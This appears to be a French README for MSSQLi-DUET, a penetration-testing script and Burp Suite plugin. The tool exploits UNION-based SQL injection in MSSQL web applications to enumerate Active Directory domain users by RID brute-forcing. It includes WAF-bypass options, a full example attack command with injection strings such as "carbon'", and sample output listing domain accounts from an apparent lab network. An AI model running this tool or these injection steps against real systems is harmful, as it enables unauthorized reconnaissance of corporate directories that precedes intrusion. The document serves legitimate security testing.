
Script d'injection SQL pour MSSQL qui extrait les utilisateurs de domaine d'un environnement Active Directory en utilisant le bruteforce de RID.
Script d'injection SQL pour MSSQL qui extrait les utilisateurs de domaine d'un environnement Active Directory par force brute de RID. Supporte diverses techniques de contournement WAF via l'implémentation de fonctions tamper de SQLmap. Des fonctions tamper supplémentaires peuvent être ajoutées par l'utilisateur selon la situation et l'environnement.
Disponible en deux versions : un script Python direct pour utilisation en terminal, ou un plugin Burp Suite pour une navigation GUI simple.
Ne supporte actuellement que l'injection basée sur UNION. Des échantillons et cas de test supplémentaires sont nécessaires pour tester pleinement la fonctionnalité et la précision de l'outil. Les retours et commentaires sont grandement appréciés si vous rencontrez une situation où cela ne fonctionne pas.
Il ne devrait pas être trop difficile non plus de personnaliser le script et le plugin selon vos besoins. Assurez-vous de lire la section Notes pour le dépannage.
Après avoir chargé le plugin dans Burp Suite, faites un clic droit sur une requête et envoyez-la à MSSQLi-DUET. Plus de détails sur les paramètres, etc., sont décrits ci-dessous.
La requête s'affichera dans la fenêtre de requête, et seuls les champs au-dessus doivent être remplis. Après avoir cliqué sur exécuter, le résultat sera placé dans la zone de sortie des résultats pour un copier-coller facile.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - Outil d'Enumeration d'Utilisateurs de Domaine par Injection MSSQL
arguments optionnels:
-h, --help affiche ce message d'aide et quitte
-i INJECTION, --injection INJECTION
Point d'injection. Fournissez uniquement les données nécessaires pour échapper la requête.
-e ENCODING, --encoding ENCODING
Type d'encodage : unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Délai de temporisation pour les requêtes.
-rid RID_RANGE, --rid_range RID_RANGE
Plage de RIDs avec trait d'union à bruteforcer. Ex : 1000-1200
-ssl SSL, --ssl SSL Ajoute un indicateur pour HTTPS
-p PARAMETER, --parameter PARAMETER
Paramètre vulnérable
-proxy PROXY, --proxy PROXY
Chaîne de connexion proxy. Ex : 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Fichier de sortie pour les résultats d'énumération des noms d'utilisateur.
-r REQUEST_FILE, --request_file REQUEST_FILE
Fichier de requête brute sauvegardé depuis Burp
Préparez-vous à être énuméré(e) !
Après avoir identifié une injection SQL basée sur UNION dans une application, copiez la requête brute depuis Burp Suite en utilisant la fonction 'copy to file'.
Passez la requête sauvegardée à DUET avec le drapeau -r. Spécifiez le paramètre vulnérable ainsi que le point d'injection. Par exemple, si le paramètre "element" est sensible à l'injection SQL, -p sera "element". DUET construira automatiquement toutes les requêtes d'injection SQL, mais la spécification de l'injection initiale doit être fournie. Cela signifie que si l'injection se produit à cause d'une apostrophe unique après les données du paramètre, c'est ce qui doit être spécifié pour l'argument -i.
Ex : test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Données de la requête collectées :
URL cible = http://192.168.11.22/search2.php?element=carbon
Méthode = GET
Type de contenu = application/x-www-form-urlencoded
[+] Détermination du nombre de colonnes dans la table...
[!] Le nombre de colonnes est 3
[+] Détermination du type de colonne...
[!] Le type de colonne est null
[+] Découverte du nom de domaine...
[+] Domaine = NEUTRINO
[+] Découverte du SID du domaine...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Énumération de l'Active Directory via les SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
Le script peut nécessiter des modifications en fonction des limitations de cast et de type des colonnes découvertes.
Cela inclut des modifications pour changer la position de la colonne de la payload, ainsi que modifier les chaînes de requête elles-mêmes pour tenir compte des types de colonnes qui ne généreront pas d'erreurs.
De plus, la logique de détermination du nombre de colonnes n'est actuellement pas la meilleure, et certaines comparaisons devront peut-être être commentées pour assurer une détermination correcte.
Dans l'ensemble, jetez simplement un coup d'œil aux requêtes envoyées dans Burp et adaptez le script selon l'environnement d'injection SQL dans lequel vous vous trouvez.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/